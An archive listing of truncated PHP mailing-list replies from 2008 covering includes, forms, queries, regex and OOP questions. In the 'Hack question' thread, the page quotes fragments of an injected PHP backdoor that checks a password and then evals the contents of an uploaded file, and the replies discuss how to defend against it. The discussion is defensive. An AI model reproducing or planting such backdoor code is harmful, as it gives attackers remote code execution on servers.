Re: [PHP] de lester

2008-06-26 Thread Jim Lucas
[EMAIL PROTECTED] wrote: � I am working with videos and I need to Know how I can obtain the duration of the videos �I had a formula that did not need any�function of�php, but i lost de page,� please i need any help with this. Sorry for my english, i am from Cuba. Lester..Univ de Cienfuegos

Re: [PHP] Include Problem

2008-06-24 Thread Jim Lucas
nclude = On This might be your problem. They limit things so remote files cannot be access via fopen/include/etc... -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by

Re: [PHP] Output Blank?

2008-06-23 Thread Jim Lucas
a new row } // Start our output of the CSV header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=data.csv"); header("Pragma: no-cache"); header("Expires: 0"); echo $headers.$data; } Thanks, Dan BTW: w

Re: [PHP] Variables in forms

2008-06-22 Thread Jim Lucas
Ron Piggott wrote: I am writing a form right now. I would like to make the checkbox an array variable. The first part of the array is the component reference, the second part is the package reference. What name would you assign to it that I could use in processing the form in the PHP script

Re: [PHP] mail problem (newlines becomes =0A)

2008-06-19 Thread Jim Lucas
th no contract! Dedicated servers, VPS, and hosting from $2.50/mo. Sorry, forgot to send the link to my example in action http://www.cmsws.com/examples/php/testscripts/[EMAIL PROTECTED]/0001.php -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have

Re: [PHP] mail problem (newlines becomes =0A)

2008-06-19 Thread Jim Lucas
have always been able to use name-keyed arrays in my HEREDOC. I have always wrapped them with {...} to allow PHP to better identify them, but they have always worked for me. -- Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just $59.99/mo. with no contract! Dedicate

Re: [PHP] climb up the path

2008-06-18 Thread Jim Lucas
Iv Ray wrote: Jim Lucas wrote: Iv, tell me why you are wanting to do this? If it is the reason I think it is, I can give you a better way to accomplish this. I have the source and a configuration file, which I want outside the source - it is different from server to server. The easiest

Re: [PHP] Re: How to prevent DoS on PHP script?

2008-06-18 Thread Jim Lucas
upload a file to any php script. I don't need to use your form to do so, I an just use my own form and post data directly to the script. If anybody remembers, this was an exploit that was found in the 4.0.6 code back in the day. -- Jim Lucas "Some men are born to greatness

Re: [PHP] climb up the path

2008-06-18 Thread Jim Lucas
do this? If it is the reason I think it is, I can give you a better way to accomplish this. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -

Re: [PHP] substr?

2008-06-18 Thread Jim Lucas
Peter Ford wrote: Frank Arensmeier wrote: 17 jun 2008 kl. 22.14 skrev Jim Lucas: Jason Pruim wrote: Hi everyone, I am attempting to adopt some code to work more reliably then how it is now... What I am doing is coding a upload form where people could be uploading .zip files in excess of

Re: [PHP] substr?

2008-06-17 Thread Jim Lucas
nd, MI, 49424-9337 www.raoset.com [EMAIL PROTECTED] Looking at what I think you are trying to do, how about this? -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William S

Re: [PHP] How to prevent DoS on PHP script?

2008-06-16 Thread Jim Lucas
then what IP's would you write to this? If a person changed their IP each time they access the script, then it still would not work. I would have to say that I just don't think that PHP is going to be the medium in which this problem has to be handled. HTH, Nitsan On 16/06/2008, Ji

Re: [PHP] How to prevent DoS on PHP script?

2008-06-16 Thread Jim Lucas
y uploaded, Apache hands off the processing to Apache. Problem is, by this time the DoS has already happened. Apache has waisted its time receiving the file. HTH On 16/06/2008, Per Jessen <[EMAIL PROTECTED]> wrote: Jim Lucas wrote: Per Jessen wrote: Michelle Konzack wrote: My biggest

Re: [PHP] How to prevent DoS on PHP script?

2008-06-16 Thread Jim Lucas
hat the OP is going to run into is the "Chicken before the Egg" problem. PHP will not start processing until the file upload has already been completely uploaded. Personally, I do not see a PHP solution to your problem. Unless allowing them to upload then just throwing it away is ok w

Re: [PHP] Redirect after pdf / file download

2008-06-12 Thread Jim Lucas
to force them to download a broken PDF document. One suggestion to go along with this is that you will need to have a routine that will clean out all the generated PDF's every now and again. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some ha

Re: [PHP] Row Count

2008-06-10 Thread Jim Lucas
']; This makes a little more sense then using the count(*) thing, to me at least -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Ma

Re: [PHP] Row Count

2008-06-10 Thread Jim Lucas
Jim Lucas wrote: Dan Shirah wrote: Hello all, I am having a problem with trying to count the number of rows returned by my query. I connect to the database fine, my query displays and runs fine, but my row count is incorrect. If I do not put in any serch criteria and my basic query ends up

Re: [PHP] Row Count

2008-06-10 Thread Jim Lucas
Daniel Brown wrote: On Tue, Jun 10, 2008 at 10:54 AM, Jim Lucas <[EMAIL PROTECTED]> wrote: Daniel Brown, did you read through this too quickly also??? Jim Lucas, what did I miss? He is using the ifx extension for an informix database, not mysql -- Jim Lucas "Some men

Re: [PHP] Row Count

2008-06-10 Thread Jim Lucas
D ', $where); } $result_id = ifx_query($query, $connect_id); list($rowcount) = ifx_fetch_row($result_id); echo $rowcount; ?> I think this will do what you are wanting to do. Hopefully they add a function like mysql_real_escape_string() that will escape/filter you input. But until then,

Re: [PHP] Row Count

2008-06-10 Thread Jim Lucas
number from the SQL standard "SELECT COUNT(*) " query. My query is below: This should be rewritten a bit, really [snip="code"] Daniel Brown, did you read through this too quickly also??? You and Jay both need to slow down a bit... -- Jim Lucas "Som

Re: [PHP] Retrive a ID or Class value from a form input field

2008-06-09 Thread Jim Lucas
do it, but i thought it would make thing neat and tidy Thanks for all your input Joe Problem with that is the ':' is not a valid char for a class name. Reference is here: read the second bullet point http://www.w3.org/TR/CSS21/syndata.html#characters -- Jim Lucas "Some

Re: [PHP] Retrive a ID or Class value from a form input field

2008-06-09 Thread Jim Lucas
Jim Lucas wrote: Jim Lucas wrote: Joe Harman wrote: Hello, is there any way to get more field information other than just the value of a field when a form is submitted??? ex: type, size, class, etc. Thanks Joe Yes, but that would be a Javascript question. Google for a javascript

Re: [PHP] Retrive a ID or Class value from a form input field

2008-06-09 Thread Jim Lucas
Jim Lucas wrote: Joe Harman wrote: Hello, is there any way to get more field information other than just the value of a field when a form is submitted??? ex: type, size, class, etc. Thanks Joe Yes, but that would be a Javascript question. Google for a javascript method called

Re: [PHP] Retrive a ID or Class value from a form input field

2008-06-09 Thread Jim Lucas
Joe Harman wrote: Hello, is there any way to get more field information other than just the value of a field when a form is submitted??? ex: type, size, class, etc. Thanks Joe Yes, but that would be a Javascript question. Google for a javascript method called getAttribute() -- Jim

Re: [PHP] spaces - not sure if this is a preg_match issue or a regexp issue

2008-06-06 Thread Jim Lucas
. I'm stumped. Any ideas? -Allen -- DeadTOm http://www.mtlaners.org [EMAIL PROTECTED] A Linux user since 1999. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by Will

Re: [PHP] Objects and Traversing

2008-06-04 Thread Jim Lucas
[Name] => Access ) ) ) ) ) [size] => 1 ) Simply this would give you name $QueryResult->records[0]->sobjects[0]->fields->Name

Re: [PHP] Avoid object twice

2008-06-03 Thread Jim Lucas
call them functions because they are not functions. include 'filename'; include_once 'filename'; require 'filename'; require_once 'filename'; if you use the *_once calls, your script will only ever be included one time. If you mix them, then you will have problems. your class scripts should be setup to where there is only one class per file and that nothing is "executed" from that file. It should only be included. Then the file(s) that include your class should do the work of initializing and using the class. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] strlower problem

2008-06-02 Thread Jim Lucas
x27;CL22'. Last time I looked strtolower() did not modify the input as a reference. So echo $thisStr; should result in the op seeing CL22 Unless there are other things happening that only the force knows about... -- Jim Lucas "Some men are born to greatness, some achieve g

Re: [PHP] Avoid object twice

2008-06-02 Thread Jim Lucas
cript, and change the a.php to my.php, it loads just fine and it only displays one instance of hello. I am thinking that you calling the class more then once and you don't realize it. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have gre

Re: [PHP] Anybody got a little spare time to help me out with a little OOP

2008-05-31 Thread Jim Lucas
Ryan S wrote: coz i suck at OOP! Hey! Am trying to modify a wordpress plugin file,the name of the plugin is POST TEASER and can be downloaded from here http://wordpress.org/extend/plugins/post-teaser/, it works as advertised and this is what it does: I specify for example 4 words before the

Re: [PHP] Help with SSH2

2008-05-29 Thread Jim Lucas
te pc to my computer and, also, how to Upload a file to the remote computer. The remote host is "cipres.cec.uchile.cl"... and i'm using the ssh2 library.. Thanks! If you do not have FTP access, then I would use something like winscp. http://www.winscp.net I use it on a dail

Re: [PHP] Query refuses to recurse all rows

2008-05-28 Thread Jim Lucas
[EMAIL PROTECTED] wrote: Hi, In the following code, only the first row from query1 displays along with the display stuff from query3. The problem: query1 refuses to recurse to the next and following rows. It appears that the sub-queries in the main query cause the $row++; not to work. Is

Re: [PHP] Reloading changes JS files?

2008-05-28 Thread Jim Lucas
before and it will call to the server for a fresh copy of the file. Jim Lucas -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Still not getting Includes right.

2008-05-19 Thread Jim Lucas
Tyson Vanover wrote: Am I missing something blatently obvious? Maybe open_basedir or safe_mode restrictions? -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William S

Re: [PHP] Problems with includes

2008-05-16 Thread Jim Lucas
Tyson Vanover wrote: Jim Lucas wrote: Their are two ways that come to mind. 1. Like Dan suggested, use the full path. 2. (I prefer this way), change your include_path setting either in your php.ini file, virtual host, .htaccess or in your script to include the base path for your web site

Re: [PHP] Problems with includes

2008-05-16 Thread Jim Lucas
Tyson Vanover wrote: Jim Lucas wrote: Their are two ways that come to mind. 1. Like Dan suggested, use the full path. 2. (I prefer this way), change your include_path setting either in your php.ini file, virtual host, .htaccess or in your script to include the base path for your web site

Re: [PHP] Problems with includes

2008-05-16 Thread Jim Lucas
? hun. thanks! Only if apache is run chroot'ed -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.p

Re: [PHP] Problems with includes

2008-05-16 Thread Jim Lucas
moving the leading slash from your existing calls. require 'Tools/tool1/tool1.php'; require 'Tools/tool2/tool2.php'; -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night

[PHP] OT - Question about nested sortable lists

2008-05-16 Thread Jim Lucas
nder the DS1 #2, it should have been under DS1 #1. Could someone grab the Voice line # 800-555-1216 and move it so it becomes a sub-service of DS1 #1? and keeps the features that were previously associated to it intake? TIA -- Jim Lucas [EMAIL PROTECTED] Systems Engineer

[PHP] Mic check 1, 2, 3...

2008-05-14 Thread Jim Lucas
Just wondering if the mailing list is working. I have not received anything from this list today. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespear

Re: [PHP] validating textarea using php

2008-05-13 Thread Jim Lucas
Richard Heyes wrote: Also you can use short tags (popular...) to make the HTML more readable. Eg: It also makes the code less portable. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Nig

Re: [PHP] Month with leading zeros

2008-05-11 Thread Jim Lucas
Jim Lucas wrote: Ron Piggott wrote: I am wanting to change echo " 'January', '2' => 'February', '3' => 'March', '4' => 'April', '5' => 'May', '6' => 'June'

Re: [PHP] Month with leading zeros

2008-05-11 Thread Jim Lucas
Ron Piggott wrote: I am wanting to change echo " 'January', '2' => 'February', '3' => 'March', '4' => 'April', '5' => 'May', '6' => 'June', '7' => 'July', '8' => 'August', '9' => 'September', '10' => 'October', '11' => 'November', '12' => 'December'); $current_month = DATE("n"); echo

[PHP] Re: unsubscribe

2008-05-10 Thread Jim Lucas
bobcray wrote: unsubscribe Go to http://www.php.net/mailing-lists.php and do it yourself! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Recursion... Sort of...

2008-05-08 Thread Jim Lucas
time the function is called. I think the best/easiest way to keep track of depth will be by passing a variable in the function call itself. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night,

Re: [PHP] mysql query and maximum characters in sql statement

2008-05-01 Thread Jim Lucas
Waynn Lue wrote: Wouldn't using LOAD DATA INFILE be better than writing your own script? depends, does the data file match the table column for column? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] mysql query and maximum characters in sql statement

2008-05-01 Thread Jim Lucas
Jim Lucas wrote: Sanjeev N wrote: Hi, I have written a program which imports the tab delimited file and insert all the line from file to the mysql line by line. I am succeding in the above case. but problem with the above method is its taking to too much time while inserting into the

Re: [PHP] mysql query and maximum characters in sql statement

2008-05-01 Thread Jim Lucas
size will be more than 5000 lines. Then i tried to build a string of ; seperated queries. as follows for($i=1; $i You are probably looking for something like this. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them.

Re: [PHP] extending Xpath

2008-05-01 Thread Jim Lucas
ho "in here"; parent::_construct( $dom ); } } but I get the following error Fatal error: Call to undefined method DOMXPath::_construct() Your missing an underscore. It needs two not one. Many thanks Andrew -- Jim Lucas "Some men are born to greatness, some ac

Re: [PHP] PHP Errors to screen

2008-04-29 Thread Jim Lucas
Adam Gerson wrote: Where do I change the setting to print PHP errors to the screen when running in a web browser? Thanks, Adam At the top of your script put these lines http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] foreach loop to set variables

2008-04-25 Thread Jim Lucas
y. Wait for it... Wait for it... Wait for it... Wait for it... extract() that's it!!! -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP Ge

Re: [PHP] Cannot modify header information - headers already sent by ...

2008-04-21 Thread Jim Lucas
gt; > > require_once 'shared_style.php'; > > require_once 'something.php' > > > > ?> > > If something.php is setting cookies and such, it has to be above > shared_style.php. If you've already tried that with no succ

Re: [PHP] Hack question

2008-04-18 Thread Jim Lucas
f275cd3") { if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"), $HTTP_POST_FILES["f"]["size"])) { eval($code); } else { testdata('f'); } ; } else { testdata('pass&#

Re: [PHP] Re: Hack question

2008-04-18 Thread Jim Lucas
Eric Butera wrote: On Fri, Apr 18, 2008 at 3:19 PM, Jim Lucas <[EMAIL PROTECTED]> wrote: He is referring to the code that he finds at the top of a number of different files. That is the code that he showed us. I just thought that was the entire contents of the file. Double check

Re: [PHP] Re: Hack question

2008-04-18 Thread Jim Lucas
Eric Butera wrote: On Fri, Apr 18, 2008 at 2:59 PM, Jim Lucas <[EMAIL PROTECTED]> wrote: in the example code above that is injected into the top of the php scripts, the eval is evaluating the code that is read from the temp file, the temp file is never moved or renamed. There for it w

Re: [PHP] Re: Hack question

2008-04-18 Thread Jim Lucas
Eric Butera wrote: On Fri, Apr 18, 2008 at 12:58 PM, Jim Lucas <[EMAIL PROTECTED]> wrote: Eric Butera wrote: On Fri, Apr 18, 2008 at 12:22 PM, Al <[EMAIL PROTECTED]> wrote: I'm continuing to work on this. One thing that seems obvious. The code executes the script

Re: [PHP] PHP5 and the DOM model

2008-04-18 Thread Jim Lucas
with the data. I hope it checks the data first before using it. If you don't then you might end up with something you had not planned on. If I am not to ask an object for data how is my db class/object ever going to return me data from my database? -- Jim Lucas "Some m

Re: [PHP] PHP5 and the DOM model

2008-04-18 Thread Jim Lucas
ges, you're in deep trouble. No,but in the first one, you can control, from within the class/method, what data is actually allowed to be injected into that variable. Whereas the second example would allow you to stuff any type of data into that class variable. That might not be a go

Re: [PHP] Re: Hack question

2008-04-18 Thread Jim Lucas
ass'); } ; testdata('end'); echo ""; ?> -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Maybe you can look at the file time on the script in /tmp and look at server logs around that same time to see if that is an

Re: [PHP] Database abstraction?

2008-04-17 Thread Jim Lucas
Jim Lucas wrote: Jim Lucas wrote: Jason Pruim wrote: On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote: Stut wrote: On 17 Apr 2008, at 13:33, Jason Pruim wrote: Maybe I'm showing my ignorance here in programming... Maybe it's because I delt with a kid who decided to scream for a good

Re: [PHP] Database abstraction?

2008-04-17 Thread Jim Lucas
Jason Pruim wrote: On Apr 17, 2008, at 2:12 PM, Jim Lucas wrote: Jason Pruim wrote: On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote: Stut wrote: [/snip] Both ideas worked great... Thank you! Now I do still have one question, I decided that what Jim put up worked a little bit better for

Re: [PHP] Database abstraction?

2008-04-17 Thread Jim Lucas
Jim Lucas wrote: Jason Pruim wrote: On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote: Stut wrote: On 17 Apr 2008, at 13:33, Jason Pruim wrote: Maybe I'm showing my ignorance here in programming... Maybe it's because I delt with a kid who decided to scream for a good share of the nig

Re: [PHP] Database abstraction?

2008-04-17 Thread Jim Lucas
Jason Pruim wrote: On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote: Stut wrote: On 17 Apr 2008, at 13:33, Jason Pruim wrote: Maybe I'm showing my ignorance here in programming... Maybe it's because I delt with a kid who decided to scream for a good share of the night and I'm

Re: [PHP] Database abstraction?

2008-04-17 Thread Jim Lucas
echo "{$column_name}"; } echo ''; # Now print your data foreach ( $dataSet AS $row ) { echo << {$row['FName']} {$row['LName']} {$row['Add1']}

Re: [PHP] Hack question

2008-04-16 Thread Jim Lucas
; } ; testdata('end'); echo ""; ?> My first suggestion is disable the use of exec in the disable_functions entry in your php.ini file. I would not allow the call to exec to be completed. so, something like this should work for now. disable_functions = exec also, you c

Re: [PHP] Return an Array and immediately reference an index

2008-04-12 Thread Jim Lucas
Bojan Tesanovic wrote: On Apr 12, 2008, at 12:33 AM, Daniel Kolbo wrote: Hello, I want to return an array from function and reference an index all in one line. Is this possible? In the code below I want I want $yo to be the array(5,6). Here is what I've tried, function returnarray() {

Re: [PHP] Quarters

2008-04-11 Thread Jim Lucas
/index.php Plus, it seems that it is randomly reloading the page and resetting the game. I am using IE 6.0.0029. Pretty much up to date will all patches and updates. No special add ons. Got any suggestions? -- Jim Lucas "Some men are born to greatness, some achieve greatness,

Re: [PHP] Evaluating math without eval()

2008-04-10 Thread Jim Lucas
gestions on tests that is_numeric() might not catch? I'm working on some kinda preg_replace function to sanitize the data at the moment and then run an eval - arg I hate regexp! Ideally eval would have some kind of sandboxing option, or you could limit the functions available in an eval.

Re: [PHP] Beware of round() function

2008-04-09 Thread Jim Lucas
[EMAIL PROTECTED] wrote: On Mon, 24 Mar 2008 13:10:17 -0600, [EMAIL PROTECTED] wrote: Beware: round() apparently has changed its behavior from PHP 4. For certain special numbers that seem to be multiples of 100,000, the return value is in exponential format, rather than the usual decimal fo

Re: [PHP] dynamic boxes problem... JS and PHP

2008-04-09 Thread Jim Lucas
Daniel Brown wrote: On Wed, Apr 9, 2008 at 11:18 AM, Jason Pruim <[EMAIL PROTECTED]> wrote: On Apr 9, 2008, at 11:09 AM, Jim Lucas wrote: While we are on the topic of the ... tags, just a side note. It is invalid HTML syntax to have any tag between your ok here But somethin

Re: [PHP] dynamic boxes problem... JS and PHP

2008-04-09 Thread Jim Lucas
ction around http://mail.yahoo.com -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] joins issues again

2008-04-08 Thread Jim Lucas
ed differance variants of joins and none of the results are correct. Sales tbl doesnt have the companyID, nor does IGuser Regards, Steven -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Ni

Re: [PHP] dynamic boxes problem... JS and PHP

2008-04-08 Thread Jim Lucas
___ You rock. That's why Blockbuster's offering you one month of Blockbuster Total Access, No Cost. http://tc.deals.yahoo.com/tc/blockbuster/text5.com -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them.&

Re: [PHP] string

2008-04-07 Thread Jim Lucas
7 Attempt #5 0.015322208404541 0.022816181182861 Attempt #6 0.015490055084229 0.021909952163696 Attempt #7 0.015805959701538 0.021935939788818 Attempt #8 0.01572585105896 0.022881984710693 Attempt #9 0.015491008758545 0.022812128067017 Attempt #10 0.015367031097412 0.02212119102478 -- Jim Lucas "

Re: [PHP] How to jump to line number in large file

2008-04-05 Thread Jim Lucas
Robert Cummings wrote: On Sat, 2008-04-05 at 19:09 +0100, Steve McGill wrote: "Richard Heyes" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] Thanks for the heads up on fgetc() incrementing by one. I hadn't actually tested that code yet, I was using the original fseek($handle,$pos).

Re: [PHP] PostTrack Updates

2008-04-04 Thread Jim Lucas
Robert Cummings wrote: Some changes take effect with the PostTrack metrics\n" ?> system with this week (will show up in next week's\n" ?> report). There's one bug fix and a new feature added, \n" ?> in which some of you may be really interested.\n" ?> \n" ?> CHANGELOG\n" ?> Fi

Re: [PHP] Re: [PHP-DB] php4 to php5

2008-04-03 Thread Jim Lucas
ld, it will not feed into the script. So what's the rationale for that (the URL submitting the variables) and what is the usual solution? The problem arises on this particular page because of a mix of buttons, some are javascript and send the addline=y with onClick. John -- PHP Database

Re: [PHP] phone number allocation manager

2008-04-01 Thread Jim Lucas
Jim Lucas wrote: I work for a telephone & internet company. Currently we have a tool that allows us to track the allocation of IP's to customers. What I am looking for is a tool that will allow me to track the allocation of phone numbers to our customers. Building the to

Re: [PHP] phone number allocation manager

2008-04-01 Thread Jim Lucas
tedd wrote: At 5:21 PM -0700 3/31/08, Jim Lucas wrote: I work for a telephone & internet company. Currently we have a tool that allows us to track the allocation of IP's to customers. What I am looking for is a tool that will allow me to track the allocation of phone numbe

Re: [PHP] phone number allocation manager

2008-04-01 Thread Jim Lucas
Jason Pruim wrote: On Mar 31, 2008, at 8:21 PM, Jim Lucas wrote: I work for a telephone & internet company. Currently we have a tool that allows us to track the allocation of IP's to customers. What I am looking for is a tool that will allow me to track the allocation of phone n

[PHP] phone number allocation manager

2008-03-31 Thread Jim Lucas
. Thanks much! -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Problem in a generate password function

2008-03-31 Thread Jim Lucas
rd, $char)) { $password .= $char; $i++; } } return $password; } -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mail

Re: [PHP] Enabling cURL on my Mac

2008-03-28 Thread Jim Lucas
en you don't have cUrl. If it works, then you have curl. From the manual: Description resource curl_init ([ string $url ] ) Initializes a new session and return a cURL handle for use with the curl_setopt(), curl_exec(), and curl_close() functions. -- Jim Lucas "Some men are b

Re: [PHP] APC & FastCGI != upload progress ?

2008-03-26 Thread Jim Lucas
you to run a PHP daemon. It handles the uploads and passes the information off how ever you want. To a DB, to the filesystem. Your choice. From that information, you can create a progress meter. I haven't fleshed out all the bugs, but it seems to work like I want it too at least.

Re: [PHP] Cookie Trouble: getting the information back out...

2008-03-25 Thread Jim Lucas
Mark Weaver wrote: Andrew Ballard wrote: On Tue, Mar 25, 2008 at 9:59 PM, Mark Weaver <[EMAIL PROTECTED]> wrote: Thank you Andrew... Now it all makes perfect sense. Good grief! there's so much to learn. It seems that Java was easier. ;) That's not specific to PHP. It's just how http works,

Re: [PHP] This beats me (variable not being passed through pages)

2008-03-24 Thread Jim Lucas
what you get. _REQUEST might not be getting populated correctly. It is configurable ya know. Check you php.ini and see if the variables_order entry is set correctly. This is mine; variables_order = "GPCS" (GET, POST, COOKIE, SESSION) There might be others that affect it, but I

Re: [PHP] Date math

2008-03-24 Thread Jim Lucas
erence = (($date1 - $date2) / $factor); echo $difference."\n"; -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing Lis

Re: [PHP] Comparing file creating dates...

2008-03-22 Thread Jim Lucas
Ryan S wrote: Hey all, Heres what i am trying to do: When someone sends a message from my site, i take their ip address and make a file with their ip address in a directory called "hash-directory", the file looks like this: 169.34.534.243.txt I want to make sure they cant send too many messa

Re: [PHP] Double click problem [SOLVED]

2008-03-21 Thread Jim Lucas
onfirm() method from JS to either allow or deny them to leave the current page. I don't know if you can limit this action to only take affect when they press the back button, but it might help in any event. -- Jim Lucas "Some men are born to greatness, some achieve greatness,

Re: [PHP] question about customized error

2008-03-20 Thread Jim Lucas
ave apache enforce a customer ErrorDocument for a 404 error. Then create a php script that is referred to by the ErrorDocument entry. error404.php please advice. thanks. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon

Re: [PHP] Double click problem

2008-03-19 Thread Jim Lucas
but they did see the success page. So they repeat the process, over and over and over... That is a situation that I can envision at least. My suggestion would be to disable the submit button. This would prevent the first transaction from being killed prematurely. -- Jim Lucas "

Re: [PHP] Objects as array key names??

2008-03-19 Thread Jim Lucas
. -nathan I would be interested in your examples. From what you described, I can't see in my head how it all goes together. Thanks -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II,

Re: [PHP] Re: problem with this regex to remove img tag...

2008-03-16 Thread Jim Lucas
M. Sokolewicz wrote: Ryan A wrote: Hey All, After searching I found this regex to remove img tags from a post, but running it is giving me an error, being a total noob with regex i have no idea what the heck is wrong heres the whole script as its tiny: $html = " hello ".'width="272" hei

Re: [PHP] Objects as array key names??

2008-03-16 Thread Jim Lucas
er array/object is only created upon request. Therefor the overhead of creating said array/object is only felt when needed. Jim Lucas -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Objects as array key names??

2008-03-16 Thread Jim Lucas
Robert Cummings wrote: On Sun, 2008-03-16 at 11:42 -0700, Jim Lucas wrote: Robert Cummings wrote: Imagine 200 customers in your example... your example will hit the DB 201 times. The above hits the DB twice. My code was intended to get the concept across. Thanks for the suggestions though

Re: [PHP] Objects as array key names??

2008-03-16 Thread Jim Lucas
Richard Heyes wrote: Hi, Going off the subject alone, you might want to investigate the __tostring() magic method that you can define to handle objects being cast to a string. Also, there's a whole bunch of magic methods that you can use to handle PHP operations on user defined objects: htt

Re: [PHP] Objects as array key names??

2008-03-16 Thread Jim Lucas
Robert Cummings wrote: Imagine 200 customers in your example... your example will hit the DB 201 times. The above hits the DB twice. My code was intended to get the concept across. Thanks for the suggestions though. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:

[PHP] Objects as array key names??

2008-03-15 Thread Jim Lucas
Now, contained within one array "$customers" I have all the information that would be needed for displaying any type of information related to a customer or a customers location. By doing having this feature, I could build the ability to do xPath searches within the base array.

Re: [PHP] Sending multiple values from a form having same field names.

2008-03-14 Thread Jim Lucas
echo ""; } echo ""; } ?> This is more readable '; # Check to see if it requires a text area } elseif (

Re: [PHP] Is this the best way?

2008-03-14 Thread Jim Lucas
successful login... It's actually related to the sorting of the records that should be retrieved. Somehow it is getting to this statement and the variable that you are using just before the ORDER BY part is empty, Why don't you show us that statement. -- Jim Lucas "Some men are

<    3   4   5   6   7   8   9   10   11   12   >